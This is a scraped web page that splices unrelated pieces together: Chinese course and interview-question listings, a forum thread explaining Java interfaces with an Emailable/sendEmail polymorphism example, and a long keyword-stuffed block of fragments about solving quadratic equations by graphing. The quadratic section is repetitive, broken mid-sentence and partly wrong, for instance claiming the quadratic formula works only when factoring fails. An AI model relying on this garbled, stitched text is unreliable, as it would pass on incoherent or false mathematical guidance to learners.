文章目录Java概述何为编程什么是Javajdk1.5之后的三大版本JVM、JRE和JDK的关系什么是跨平台性?原理是什么Java语言有哪些特点什么是字节码?采用字节码的最大好处是什么什么是Java程序的主类?应用程序和小程序的主类有何不同?Java应用程序与小程序之间有那些差别?Java和C++的区别Oracle JDK 和 OpenJDK 的对比基础语法数据类型Java有哪些数据类型switc...
机器学习实战系列套餐(必备基础+经典算法+案例实战)
机器学习实战系列套餐以实战为出发点,帮助同学们快速掌握机器学习领域必备经典算法原理并结合Python工具包进行实战应用。建议学习顺序:1.Python必备工具包:掌握实战工具 2.机器学习算法与实战应用:数学原理与应用方法都是必备技能 3.数据挖掘实战:通过真实数据集进行项目实战。按照下列课程顺序学习即可! 课程风格通俗易懂,用最接地气的方式带领大家轻松进军机器学习!提供所有课程代码,PPT与实战数据,有任何问题欢迎随时与我讨论。
Java面试题大全(2020版)
发现网上很多Java面试题都没有答案,所以花了很长时间搜集整理出来了这套Java面试题大全,希望对大家有帮助哈~ 本套Java面试题大全,全的不能再全,哈哈~ 一、Java 基础 1. JDK 和 JRE 有什么区别? JDK:Java Development Kit 的简称,java 开发工具包,提供了 java 的开发环境和运行环境。 JRE:Java Runtime Environ...
程序员垃圾简历长什么样?
已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...
深度学习原理+项目实战+算法详解+主流框架(套餐)
深度学习系列课程从深度学习基础知识点开始讲解一步步进入神经网络的世界再到卷积和递归神经网络,详解各大经典网络架构。实战部分选择当下最火爆深度学习框架PyTorch与Tensorflow/Keras,全程实战演示框架核心使用与建模方法。项目实战部分选择计算机视觉与自然语言处理领域经典项目,从零开始详解算法原理,debug模式逐行代码解读。适合准备就业和转行的同学们加入学习! 建议按照下列课程顺序来进行学习 (1)掌握深度学习必备经典网络架构 (2)深度框架实战方法 (3)计算机视觉与自然语言处理项目实战。(按照课程排列顺序即可)
HoloLens2开发入门教程
本课程为HoloLens2开发入门教程,讲解部署开发环境,安装VS2019,Unity版本,Windows SDK,创建Unity项目,讲解如何使用MRTK,编辑器模拟手势交互,打包VS工程并编译部署应用到HoloLens上等。
几率大的Redis面试题(含答案)
本文的面试题如下: Redis 持久化机制 缓存雪崩、缓存穿透、缓存预热、缓存更新、缓存降级等问题 热点数据和冷数据是什么 Memcache与Redis的区别都有哪些? 单线程的redis为什么这么快 redis的数据类型,以及每种数据类型的使用场景,Redis 内部结构 redis的过期策略以及内存淘汰机制【~】 Redis 为什么是单线程的,优点 如何解决redis的并发竞争key问题 Red...
MFC一站式终极全套课程包
该套餐共包含从C小白到C++到MFC的全部课程,整套学下来绝对成为一名C++大牛!!!
【数据结构与算法综合实验】欢乐连连看(C++ & MFC)案例
这是武汉理工大学计算机学院数据结构与算法综合实验课程的第三次项目:欢乐连连看(C++ & MFC)迭代开发代码。运行环境:VS2017。已经实现功能:开始游戏、消子、判断胜负、提示、重排、计时、帮助。
YOLOv3目标检测实战:训练自己的数据集
YOLOv3是一种基于深度学习的端到端实时目标检测方法,以速度快见长。本课程将手把手地教大家使用labelImg标注和使用YOLOv3训练自己的数据集。课程分为三个小项目:足球目标检测(单目标检测)、梅西目标检测(单目标检测)、足球和梅西同时目标检测(两目标检测)。 本课程的YOLOv3使用Darknet,在Ubuntu系统上做项目演示。包括:安装Darknet、给自己的数据集打标签、整理自己的数据集、修改配置文件、训练自己的数据集、测试训练出的网络模型、性能统计(mAP计算和画出PR曲线)和先验框聚类。 Darknet是使用C语言实现的轻型开源深度学习框架,依赖少,可移植性好,值得深入探究。 除本课程《YOLOv3目标检测实战:训练自己的数据集》外,本人推出了有关YOLOv3目标检测的系列课程,请持续关注该系列的其它课程视频,包括: 《YOLOv3目标检测实战:交通标志识别》 《YOLOv3目标检测:原理与源码解析》 《YOLOv3目标检测:网络模型改进方法》 敬请关注并选择学习!
u-boot-2015.07.tar.bz2
uboot-2015-07最新代码,喜欢的朋友请拿去
相关热词 c# 解析cad c#数字格式化万 c#int转byte c#格式化日期 c# wpf 表格 c# 实现ad域验证登录 c#心跳包机制 c#使用fmod.dll c#dll vb 调用 c# outlook
立即提问
相关内容推荐
|
__label__pos
| 0.870512 |
#1
1. No Profile Picture
<(>_~)>
Devshed Newbie (0 - 499 posts)
Join Date
Jan 2002
Posts
315
Rep Power
14
OOP: Interfaces - What's the Point?
Hi.
I'm just going over some course notes and I just finished reading "Interfaces and Abstract Classes" for the second time. The examples given are very trivial, so I'm still not really sure what the point of using interfaces is.
The following is in Java...
PHP Code:
interface Emailable {
void sendEmail(String msg);
PHP Code:
class Student implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: " name "@bla.com\n" msg);
}
PHP Code:
class Printer implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: printer-" name "\n" msg);
}
OK, I have two different classes which have a common ability - to reveice some sort of email. Now, what's the benefit of having an interface for this over simply writing a normal sendEmail method for each? Is it basically there to force programmers to use common names for classes/methods/variables?
o_O
2. #2
3. No Profile Picture
Clueless llama
Devshed Regular (2000 - 2499 posts)
Join Date
Feb 2001
Location
Lincoln, NE. USA
Posts
2,353
Rep Power
118
Is it basically there to force programmers to use common names for classes/methods/variables?
That it is, among other things.
But consider this - what if we had a class that takes an object and sends the email. We could have this class accept an Emailable class instead of a Student or a Printer class. For instance:
Code:
interface Emailable {
void sendEmail(String msg);
}
class Student implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: " + name + "@bla.com\n" + msg);
}
}
class Printer implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: printer-" + name + "\n" + msg);
}
}
class MailThings {
String defaultMsg = "this is the message we want to send out always";
//...
public void doTheEmailThing(Emailable mailable) {
mailable.sendMail(defaultMsg);
}
}
I can now design a class that accepts an Emailable type and ANY class that implements Emailable can be sent to it.
Code:
Student me = new Student();
Printer dansOfficePrinter = new Printer();
MailThings mail = new MailThings();
mail.doTheEmailThing(me);
mail.doTheEmailThing(dansOfficePrinter);
You can send a Student or a Printer or ANY NEW CLASS YOU EVER MAKE. This is potentially very powerful. It makes code more reusable and makes maintanance easier. It is overkill for a few classes, but when you make an app with hundreds of classes all interacting, it can be a lifesaver.
This is just one of the ramifications of implementing interfaces and polymorphism. You will learn more as you go along. Just be patient.
4. #3
5. No Profile Picture
<(>_~)>
Devshed Newbie (0 - 499 posts)
Join Date
Jan 2002
Posts
315
Rep Power
14
I'm a bit confused...
mail is a MailThings object, and it calls its doTheEmailThing method with me (a Student object) / dansOfficePrinter (Printer object) as a parameter. Now what? What does "mailable.sendMail(defaultmsg);" do?
Or was that ment to be "mailable.sendEmail(defaultmsg);", which would automatically use the sendMail method appropriate for the parameter object?
Edit: Err... or have you just assumed that we already have some sendMail method implemented somewhere?
Last edited by CodE-E; March 29th, 2003 at 05:56 PM.
6. #4
7. No Profile Picture
Clueless llama
Devshed Regular (2000 - 2499 posts)
Join Date
Feb 2001
Location
Lincoln, NE. USA
Posts
2,353
Rep Power
118
No, that was a typo. I was using the sendEmail method you create.
Code:
interface Emailable {
void sendEmail(String msg);
}
class Student implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: " + name + "@bla.com\n" + msg);
}
}
class Printer implements Emailable {
String name;
//...
public void sendEmail(String msg) {
System.out.println("To: printer-" + name + "\n" + msg);
}
}
class MailThings {
String defaultMsg = "this is the message we want to send out always";
//...
public void doTheEmailThing(Emailable mailable) {
mailable.sendEmail(defaultMsg);
}
}
-------------------
Student me = new Student();
Printer dansOfficePrinter = new Printer();
MailThings mail = new MailThings();
mail.doTheEmailThing(me);
mail.doTheEmailThing(dansOfficePrinter);
The point of the interface is - if something implements an interface, and you have a method that accepts that interface, then it does not matter what kind of object it is. The method will still work.
8. #5
9. No Profile Picture
<(>_~)>
Devshed Newbie (0 - 499 posts)
Join Date
Jan 2002
Posts
315
Rep Power
14
Ok, cool, thanks!
IMN logo majestic logo threadwatch logo seochat tools logo
|
__label__pos
| 0.914106 |
informa
/
Cloud
Commentary
The Shared Irresponsibility Model in the Cloud Is Putting You at Risk
Step up, put the architecture and organization in place, and take responsibility. If you don't, who will?
A not-so-funny thing has happened as organizations have transitioned to the cloud: In many instances, they have also lost accountability and forgotten about critical responsibilities.
In the on-premises world, IT staff know they are responsible for the infrastructure on which applications are deployed. There are typically established procedures and policies for maintaining security compliance, risk, and breach detection. Perhaps more importantly, there is also typically a clear line of accountability about who is responsible for the operations, configuration, and security of a given system. And when there wasn't collaboration, the security teams wrapped in processes like change control and technology surrounding the infrastructure.
The cloud is a different model. Cloud providers are literally providing the infrastructure that organizations rely on — and in many cases, the services as well. Furthermore, the pace of innovation and frequency of change is such that old processes don't apply or slow you down. We live in an ephemeral world now.
Generally speaking, cloud providers are responsible for their own infrastructure, including hardware, networking, host OS, and hypervisor as well as providing a certain level of service and availability. But just because an application or service is running in the cloud doesn't mean that an end-user or organization is no longer responsible for security. All the major public cloud providers in recent years have embraced the concept commonly referred to as "shared responsibility."
The Shared Responsibility Model is pretty well understood now to mean: "If you configure, architect, or code it, you own the responsibility for doing that properly."
While the relationship between the customer and the cloud is well understood, our experience working with software teams indicates the organization and architectural security responsibilities within organizations are not. And that is where the Shared Irresponsibility Model comes into play.
Why Shared Irresponsibility Is Commonplace
When something goes wrong in the cloud — some form of security issue or incident —corporate management inevitably will come looking for the most senior person in the IT organization to blame.
The IT organization and development teams might not have gone line by line through the various cloud providers' Shared Responsibility Models to entirely understand what is and isn't something they have to deal with. Developers are focused on developing and getting code running, typically with high rates of change.
With the cloud, pushing code into production doesn't have many hurdles. The cloud provider is not responsible for an organization's own compliance, and, by default, it typically will not alert on misconfigurations that could introduce risk, either. So, neither the development team nor the cloud provider takes responsibility for security. Though this may sound harsh, both are functionally irresponsible.
The Shared Irresponsibility Model is a function of what happens in companies when everyone is focused on results and rapid deployment to make the most of the cloud. Its inevitable end state is finger-pointing within groups and organizations about who didn't do their job.
Bringing Accountability into the Cloud
In order to help fix this, there are four critical areas to invest in.
1. Architectural and organizational
2. Tooling and tuning
3. Causation and correlation
4. Workflow and automation
Architectural and Organizational
The gap between your development process and architectures cannot be light years ahead of your security architecture. If your security team is attempting to move a traditional security product into the cloud (aka cloud-washing), you will run into all kinds of hurdles. Security must have similar architecture cloud paradigms such as visibility in an ephemeral world, automation, policy as code, and real-time analysis. Your organization must also be aligned. DevOps needs to be aware of security guard rails and process and security needs to fit into the dev process, not around it. Cooperation and a clear understanding of triage, breach notification, and exposure to risk must be agreed upon between teams.
Tooling and Tuning
Like organizational silos, disparate tooling will also cause friction. Teams should be sharing the appropriate tool set and working from the same data or a "source of truth." Knowledge sharing on how tools are used, data is stored and queried, and a complete understanding of the output will allow teams to talk to a common language and help with tuning risk and exposures over time.
Causation and Correlation
One of the biggest benefits of cloud computing is the ability to run infrastructure as code and automatically provision up and down in near real time. Additionally, the rise of platform-as-a-service has allowed the deployment of storage, machine learning, API provisioning, and literally thousands of other services with a few lines of code. However, this incredible power also can expose organizations to risks and threats that otherwise were nonexistent and much easier to track in private data centers. A complete understanding of the change of this in your cloud environment is critical to success. The cause and effect and ability to correlate across services is also key.
Workflows and Automation
The most mature organizations understand and combine workflows across DevOps and security. This could be something as simple as a ticket-routing system, a more complex system like chat-ops integrations, or a complete automation workflow. However, if you do not have the appropriate architectures, shared tooling and data warehouses, and an understanding of change, this is very difficult.
The utopia of bridging the Shared Irresponsibility Model is just that. An automated system demands a complete organizational understanding in near real time of the risks and threats to your environment. Never assume that just because an application or service is in the cloud, that means someone else is securing it. Step up, put the compliance tools in place, and take responsibility ... because if you don't, then who will?
Recommended Reading:
|
__label__pos
| 0.577688 |
wordpress插件集成vue
vue.js的简单让它可以很方便的集成到各应用中,相比react它更轻便灵活,所以react做大型应用是合适的。不过作为wordpress一个插件,react太重了。
其实,在wp的插件中集成vue是很简单的事情,可以看下面的代码示意,比较重要的是要先include页面进来,然后再引入vue.js,以及vue的初始化以及逻辑代码了
1. 下面这个是插件主文件,我这里是dfass.php
function df_options_page_html() {
// check user capabilities
if (!current_user_can('manage_options')) {
return;
}
//加载页面
include(plugin_dir_path(__FILE__) . 'view.php');
//加载css
wp_enqueue_style('element-css', plugin_dir_url(__FILE__) . 'element.css', [], '2.14.1');
wp_enqueue_style('index.css', plugin_dir_url(__FILE__) . 'index.css', array(), '1.0');
//加载js
wp_enqueue_script('vue', plugin_dir_url(__FILE__) . 'vue.js', [], '2.6.12');
wp_enqueue_script('element-js', plugin_dir_url(__FILE__) . 'element.js', [], '2.14.1');
wp_enqueue_script('axios', plugin_dir_url(__FILE__) . 'axios.min.js', [], '0.21.1');
wp_enqueue_script('index.js', plugin_dir_url(__FILE__) . 'index.js', array(), '1.0');
init_user();
}
add_action('admin_menu', 'df_options_page');
function df_options_page() {
add_dashboard_page('钉钉表单助手', '钉钉表单助手', 'manage_options', 'df', 'df_options_page_html');
}
2. 接下来是view页面html文件view.php
<div id="app" class="wrapper">
<div class="centered">
<h2>钉钉表单助手</h2>
</div>
<template>
<el-row>
<el-input
v-model="value"
style="width: 300px"
placeholder="请输入手机号">
</el-input>
<el-button type="primary" v-on:click="btnClick()">添加</el-button>
<el-button type="primary" v-on:click="btnApply()">执行</el-button>
</el-row>
<el-row>
<el-table
:data="tableData"
stripe
style="width: 100%">
<el-table-column
prop="name"
label="用户名"
width="180">
</el-table-column>
<el-table-column
prop="user_id"
label="钉钉id"
width="180">
</el-table-column>
<el-table-column
prop="created_at"
label="添加时间">
</el-table-column>
<el-table-column
prop="last_time"
label="最后执行时间">
</el-table-column>
<el-table-column
prop="last_result"
label="最后执行结果">
</el-table-column>
<el-table-column
prop="enable"
label="状态">
<template slot-scope="scope">
<div slot="reference" class="name-wrapper">
<el-tag v-show="scope.row.enable===true" type="success" size="medium">启用</el-tag>
<el-tag v-show="scope.row.enable===false" type="info" size="medium">禁用</el-tag>
</div>
</template>
</el-table-column>
<el-table-column
fixed="right"
label="操作"
width="100">
<template slot-scope="scope">
<el-button v-show="scope.row.enable === false" @click="handleClick(scope.row,true)" type="primary"
size="small">启用
</el-button>
<el-button v-show="scope.row.enable === true" @click="handleClick(scope.row,false)" type="danger"
size="small">禁用
</el-button>
</template>
</el-table-column>
</el-table>
</el-row>
</template>
</div>
3. 最后是vue初始化及逻辑代码index.js
(function () {
let vue = new Vue({
el: '#app',
data: function () {
return {
activeIndex: '1',
activeSubIndex: '1',
tableData: [],
loading: false,
value: undefined,
options: [],
}
},
mounted: function () {
this.getTableData()
},
methods: {
getTableData() {
let data = new FormData();
data.append('action', 'df_get_setting_list');
axios.post(ajaxurl, data).then(function (res) {
if (res.data.code !== 200) {
vue.$message({
message: res.data.message,
type: 'error'
});
return;
}
vue.tableData = res.data.data.userList;
})
},
handleClick(row, enable) {
let data = new FormData();
data.append('action', 'df_update_form_enable');
data.append('user_id', row.user_id);
data.append('enable', enable);
axios.post(ajaxurl, data).then(function (res) {
if (res.data.code !== 200) {
vue.$message({
message: res.data.message,
type: 'error'
});
}
vue.getTableData();
})
},
btnApply() {
let data = new FormData();
data.append('action', 'df_apply_form');
axios.post(ajaxurl, data).then(function (res) {
if (res.data.code !== 200) {
vue.$message({
message: res.data.message,
type: 'error'
});
}
vue.getTableData();
})
},
btnClick() {
let data = new FormData();
data.append('action', 'df_add_user_form');
data.append('phone', this.value);
this.value = undefined;
axios.post(ajaxurl, data).then(function (res) {
if (res.data.code !== 200) {
vue.$message({
message: res.data.message,
type: 'error'
});
}
vue.getTableData();
vue.$message({
message: '添加成功',
type: 'success'
});
})
}
}
})
})();
如上,其实就可以在wp插件中集成vue了,完整的逻辑代码省略。
这个插件其实实现的是,每天9点根据钉钉打卡记录检测如果有加班讲自动发起加班餐表单申请。
可能有的人觉得奇葩,加班餐都还要申请!确实,博主所在公司也是个几百人的“大公司”,所以规章很多。但加班了还要手动填单,说句实话虽然我不是多懒的人,但我觉得不符合我们做“懒人”宗旨。
具体实现的不开源了,需要了解详细的可以留言交流。
粤ICP备2020138247号-1
|
__label__pos
| 0.982556 |
10 2 skills practice solving quadratic equations by graphingChapter 3 7 Glencoe Algebra 2 3-1 Skills Practice Solving Systems of Equations Graph each system of equations and describe it as consistent andindependent, consistent anddependent, or inconsistent. 1. y = -3x 2. y = x - 5 3. 2x - 5y = 10 y = -3x + 2 -2x + 2y = -10 3+ y = 15 x Solve each system of equations. 4. -r + t = 5 5. 2x-y = -5 6. x - 3y ...Solve a Quadratic Equation Using the Quadratic Formula. This page will show you how to use the quadratic formula to get the two roots of a quadratic equation. Fill in the boxes to the right, then click the button to see how it's done. It is most commonly note that a is the coefficient of the x 2 term, b is the coefficient of the x term, and c ...Quadratic equations can be solved by graphing, using the quadratic formula, completing the square, and factoring. What are the pros and cons of each o. writing programs for the ti-89 quad formula. permutation problems with solutions and answers. how to perform calculation on exponets on calculator.This worksheet is a fun way for your students to practice solving quadratic equations by taking square roots. Lesson 3 characterize the roots of a quadratic equation using the discriminant. 42 4 2 Skills Practice Solving Quadratic Equations By Graphing Worksheet Answers Di 2020.Algebra 1 Pearson Online Textbook. We will be using the online textbook to assign homework and quizzes throughout the end of the year. YOU MUST BE ABLE TO LOG IN AND ACCESS THE ONLINE TEXT BOOK. CLICK HERE to reach instructions about online HW, which includes information on how to access your account, and navigate the platform. . Example 3.5. Some possible strategies for solving quadratic equations . ... primary focus on the correct final answer ... and involved worksheets.74 For all three stud- ies, the .... Test and Worksheet Generators for Math Teachers ... Create the worksheets you need with Infinite Algebra 2. ... Solving quadratic equations w/ square roots.MGSE9-12.A.REI.6 Solve systems of linear equations exactly and approximately (e.g., with graphs), focusing on pairs of linear equations in two variables. Represent and solve equations and inequalities graphically MGSE9-12.A.REI.10 Understand that the graph of an equation in two variables is the set of all 1 8x 120 2 16x -100 3 -5x 80. Solving and graphing inequalities we know 4 is greater than 3 so is 5 so is 6 so is 7 and 31 works also. Graphing Inequalities Solving Inequalities Multi Step Inequalities Quadratic equations word problems worksheet.Solving And Graphing Inequalities Worksheet Answer Key Pdf Algebra 2. 47-2-Create […]2 10.3 Solve linear equations 3 10.6 Graph solutions on a number line 4 10.6 Use properties of inequality 5 10.7 Solve compound inequalities containing or 6 11.2 Graph linear equations 7 11.2 Find intercepts 8 11.4 Graph equations, given slope and y-intercept 9 11.4 Write an equation given two points 10 15.3 Solve systems using elimination ...Search: Lesson 4 Extra Practice Linear Functions Graph Each Function Solve x2+ 2x= 3 by graphing. SOLUTION Step 1 Write the equation in standard form. x2+ 2x= 3 Write original equation. x2+ 2x − 3 = 0 Subtract 3 from each side. Step 2 Graph the related function y=x2+ 2x − 3. Step 3 Find the x-intercepts. The x-intercepts are −3 and 1. So, the solutions are x= −3 and x= 1. CheckGraphing quadratic functions in vertex form worksheet answers. IXL - Graph quadratic functions in vertex form (Algebra 1 practice) Improve your math knowledge with free questions in "Graph quadratic functions in vertex form" and thousands of other math skills. Quadratic Functions Worksheet Answers - Pre-Calculus 11...Chapter 5: Quadratic Equations and Complex Numbers. 5.1 Introduction to Quadratic Equations. 5.2 Solving Quadratic Equations by Square Roots. 5.3 Graphing Quadratic Equations. 5.4 The Quadratic Formula. 5.5 Solving Quadratic Equations by Factoring. 5.6 The Discriminant – Types of Roots. 5.7 Completing the Square. Graphing and Systems of Equations Packet 31 Solving Systems of Equations Graphically A system of equations is a collection of two or more equations with a same set of unknowns. In solving a system of equations, we try to find values for each of the unknowns that will satisfy every equation in the system.Today we did some practice problems using all 4 solving techniques for quadratic equations. After that we took Quiz #8 on solving quadratic equations. 1st Block: Practice with solving quadratics 3rd Block: Practice with solving qu adratics Today's HW: No new HW assigned today. HW Due Today: HW #7: Quadratic FormulaAlgebra 1 answers to Chapter 9 - Quadratic Functions and Equations - Chapter Review - 9-1 and 9-2 Graphing Quadratic Functions - Page 590 10 including work step by step written by community members like you. Textbook Authors: Hall, Prentice, ISBN-10: 0133500403, ISBN-13: 978--13350-040-0, Publisher: Prentice Hall1. Solve a System of Three Linear Equations in Three Variables. 2. Identify an Inconsistent System. 3. Identify a Dependent System and Express the Solution as an Ordered Triple in Terms of One of the Variables. 4. Solve an Application by Setting up and Solving a System of Three Linear Equations in Three Variables. 10 Quadratic Equations 606 10.1 The Square Root Property 607 10.2 Solving Quadratic Equations by Completing the Square 611 10.3 Solving Quadratic Equations by the Quadratic Formula 618 Mid-Chapter Test: Sections 10.1–10.3 627 10.4 Graphing Quadratic Equations 628 A01_RUND6539_10_AIE_FM.indd 11 11/3/17 5:23 PM Sample Preface. Lesson 10.1 • Solving Quadratic Equations Name Period Date 1. Sketch the graph of a quadratic equation with each set of conditions. a. One x-intercept and all nonnegative y-values b. The vertex in the third quadrant and no x-intercepts c. The vertex in the third quadrant and two x-intercepts d.when . A quadratic equation can have one, two, or no zeros. There are four general strategies for finding the zeros of a quadratic equation: 1) Solve the quadratic equation using the quadratic formula. 2) Solve the quadratic equation using the completing the square method. 3) Solve the quadratic equation using the factoring by grouping method.Section 2.4 Writing Quadratic Equations, p. 76 Writing Quadratic Equations to Model Data, p. 78. Mathematical Practices. Question 1. Explain the solution pathway you used to solve Exercise 47 on page 73. Question 2. Explain how you used definitions to derive the equation in Exercise 53 on page 74. Question 3.Powered by Create your own unique website with customizable templates. Get Started Warrayat instructional unit skill practice answers for review notebook name date 9 2 skills solving quadratic chegg com solve systems of equations by graphing lesson 7 tessshlo ixl a system algebra 1 linear homework worksheets word problems with khan academy 5 inequalities 2018 01 15name each glencoe Warrayat Instructional Unit Warrayat Instructional Unit Skill Practice Answers For Review ...Solve Quadratic Equations by Taking Square Roots. Keep high school students au fait with the application of square root property in solving pure quadratic equations, with this assemblage of printable worksheets. Isolate the x 2 term on one side of the equation and the constant term on the other side, and solve for x by taking square roots ...Sep 08, 2019 · Download NCERT Solutions For Class 10 Maths Chapter 4 Quadratic Equations PDF. Ex 4.2 Class 10 Maths Question 3. Find two numbers whose sum is 27 and product is 182. Ex 4.2 Class 10 Maths Question 4. Find two consecutive positive integers, the sum of whose squares is 365. Ex 4.2 Class 10 Maths Question 5. Lesson 442h - Forming and solving quadratic equations worded problems Main. Unit 4 solving quadratic equations homework 1 solving quadratics by graphing and factoring review. X 2 12x 10 0. Generally quadratic equations are written in two ways. 2 Complete the Square.Chapter 5: Quadratic Equations and Complex Numbers. 5.1 Introduction to Quadratic Equations. 5.2 Solving Quadratic Equations by Square Roots. 5.3 Graphing Quadratic Equations. 5.4 The Quadratic Formula. 5.5 Solving Quadratic Equations by Factoring. 5.6 The Discriminant – Types of Roots. 5.7 Completing the Square. Reporting Category Equations and Inequalities Topic Solving nonlinear systems of equations Primary SOL AII.5 The student will solve nonlinear systems of equations, including linear-quadratic and quadratic-quadratic, algebraically and graphically. Graphing calculators will be used as a tool to visualize graphs and predict the number of solutions.QUADRATIC FUNCTIONS [ link to our Unit Plan] Properties of Quadratics: general format y=ax^2+bx+c. Find the x-intercepts - the points on the x-axis and where y=0. Find the y-intercept - the point on the y-axis and where x=0. Vertex - the lowest or highest point on the function; where the graph and axis of symmetry meet.Lesson 7 - Factoring Quadratic Equations: Polynomial Problems with a Non-1 Leading Coefficient: apps: videocam: create: Lesson 8 - Solving Quadratic Trinomials by Factoring: apps: videocam: create: Lesson 9 - How to Solve a Quadratic Equation by Factoring: apps: videocam: create: Ch 10. McDougal Littell Algebra 1 Chapter 10: Quadratic Equations ...American Worldwide Academy's math course, AWA Algebra 2, focuses on the fundamental skills that are necessary for understanding the basics of algebra. This Study guide addresses essential standards of mathematics, such as number quadratic equations,An overview of algebra word problems (includes videos and step-by-step solutions) covers the common types of word problems in high school and college prep math and the various techniques for solving them. Free Algebra Worksheets are available to provide practice on some of the following topics, for example solving of equations.Lesson 10.1 • Solving Quadratic Equations Name Period Date 1. Sketch the graph of a quadratic equation with each set of conditions. a. One x-intercept and all nonnegative y-values b. The vertex in the third quadrant and no x-intercepts c. The vertex in the third quadrant and two x-intercepts d.Chapter 8 5 solving quadratic equations by graphing notebook 9 6 practice b factoring differences of squares answers tessshlo skills answer key lesson 2 3 a and dubai khalifa worksheet workbook glencoe cute766 solved name date eq chegg com worksheets new engaging cazoomy Chapter 8 5 Solving Quadratic Equations By Graphing Notebook 9 6 Practice ...Method 1 Solve the equation by graphing the related function f(x) x26x 16. The zeros of the function appear to be 2 and 8. Method 2 Solve the equation by factoring. x26x 16 0 (x 2)( x 8) 0 Factor. x 2 0orx 8 0 x 2 x 8 The roots of the equation are 2 and 8. 4-2 R e a l W o r l d A p p lic a t i o n OBJECTIVESLesson 6.1: Solving Quadratic Equations, pp. 314-321 Use graphical and algebraic strategies to solve quadratic equations. 1 day grid paper; ruler; graphing calculator; Lesson 6.1 Extra Practice Lesson 6.2: Exploring the Creation of Perfect Squares, pp. 322-323 Recognize the relationship between the coefficients and constants ofExercises. Quadratic equations. Quadratic equation is a polynomial equation of the second degree. Vieta theorem. For the mentioned quadratic equation. x 2 + px + q = 0. root sum is equal to coefficient p which is drawn with the opposite sign and root's product is equal to free term q Quadratic Equation Worksheets Quadratic Equation Worksheets.Section 3-1 : Graphing. For problems 1 - 3 construct a table of at least 4 ordered pairs of points on the graph of the equation and use the ordered pairs from the table to sketch the graph of the equation. y = 3x +4 y = 3 x + 4 Solution. y = 1 −x2 y = 1 − x 2 Solution.Use your knowledge of solutions of systems of linear equations to solve a real world problem you might have already been faced with: Choosing the best cell phone plan. 7.1 - Solving Systems of Equations by Graphing Homework . Solve these linear systems by graphing. y = -x + 3 and y = 2x - 6 2) y = -x + 3 and y = x + 1 .Sep 08, 2019 · Download NCERT Solutions For Class 10 Maths Chapter 4 Quadratic Equations PDF. Ex 4.2 Class 10 Maths Question 3. Find two numbers whose sum is 27 and product is 182. Ex 4.2 Class 10 Maths Question 4. Find two consecutive positive integers, the sum of whose squares is 365. Ex 4.2 Class 10 Maths Question 5. Use the square root property to solve the equations. 1. 2. 3. 2. Solving Quadratic Equations by Completing the Square In Example 1(c) we used the square root property to solve an equation where the square of a binomial was equal to a constant. The square of a binomial is the factored form of a perfect square trinomial. For example: Practice A Solving Quadratic Equations by Graphing Solve each quadratic equation by graphing the related function and finding the zeros.)Here is an example: Graphing. Kuta Software - Infinite Algebra 1. Match each function with a type of function. 890 Chapter 12 Skills Practice 12 Lesson 12. Create Study Groups.Quadratic Applications Worksheet Answer Key. Some of the worksheets for this concept are applications of quadratic equations solve each equation with the quadratic name date period work 4 quadratic applications practice work unit 6 quadratic word problems algebra quadratic equations unit 2 2 writing and. Solving projectile problems with ...Quadratic standard form. Finding the vertex of a parabola in standard form. Graphing quadratics: standard form. Practice: Graph quadratics in standard form. This is the currently selected item. Quadratic word problem: ball. Practice: Quadratic word problems (standard form) Next lesson. Features & forms of quadratic functions.Solving systems of equations by graphing worksheet algebra 2. a) Solving system of equations by graphing. It is a method of solving linear system of equations. In this method, we graph the given equations on the coordinate plane and look for the >> Equations in single variable: Algebra. >> Age Word Problems. Posted by Mr. Math at 6:46 PM. Algebra.MGSE9-12.A.REI.6 Solve systems of linear equations exactly and approximately (e.g., with graphs), focusing on pairs of linear equations in two variables. Represent and solve equations and inequalities graphically MGSE9-12.A.REI.10 Understand that the graph of an equation in two variables is the set of all Algebra 1 Help | Free Algebra 1 Lessons & Practice Problems. Go through the lessons and practice problems below to help you learn Algebra 1 and excel in school. We’ll track your progress and help you identify your strengths and weaknesses. Our Algebra 1 lessons is available to everyone, but you need to create an account in order to access the ... Practice A Solving Quadratic Equations by Graphing Solve each quadratic equation by graphing the related function and finding the zeros.)Here is an example: Graphing. Kuta Software - Infinite Algebra 1. Match each function with a type of function. 890 Chapter 12 Skills Practice 12 Lesson 12. Create Study Groups.Section 2.4 Writing Quadratic Equations, p. 76 Writing Quadratic Equations to Model Data, p. 78. Mathematical Practices. Question 1. Explain the solution pathway you used to solve Exercise 47 on page 73. Question 2. Explain how you used definitions to derive the equation in Exercise 53 on page 74. Question 3.17) 8n2 + 4n − 16 = −n2 18) 8n2 + 7n − 15 = −7 -2- ©2 I2X0i1 o2 j QKAuOtwaD xSdoIf UtwRaAr we r ULfL yC g.b e QAVlklP QrdiDg Whvt WsQ tr Beys Dejr2v fewdB.o b DMDa2d ieU mwPixtYhs OI8n jf Yicn 6iptNe r oAjl fg Ie Vb7r Oaw U1w.0 Worksheet by Kuta Software LLCIn the method of completing the squares, the quadratic equation is expressed in the form (x±k)2=p2. Consider the quadratic equation 2x2−8x=10. (i) Express the quadratic equation in standard form. 2x2−8x−10=0. (ii) Divide the equation by the coefficient of x2 to make the coefficient of x2 equal to 1. x2−4x−5=0.Powered by Create your own unique website with customizable templates. Get Started Review the most important topics from previous math courses including simplifying algebraic expressions and solving multi-step equations (including absolute value equations). Refresh the basics of inequalities such as solving and graphing inequalities.Target Grammar: Giving andWorkbook answer key. 8 15. plAlgebra 2 pdf answers - datocracia. boomclick. 1 Solving Quadratic Equations Using Square Roots: apps: videocam: create: Lesson 2: 16. 2 4 skills practice answers. 91 KB) View PDF: Grade 8 Mathematics Module 4, Topic A, Lesson 3: Teacher Version (689. elective portion 4571 math credit 4576 ... algebra-2-worksheet-solving-exponential-equations-answers 1/18 Downloaded from sca.vodafone.com on March 24, 2022 by guest ... the math skills needed to succeed in the classroom and on standardized tests. ... Graphing quadratic functions, how to graph a parabola, polynomial and rational functions, andThe quadratic formula can only be used to solve quadratic equations that cannot be solved by factoring or graphing. 9. ... Skills Practice Graphing 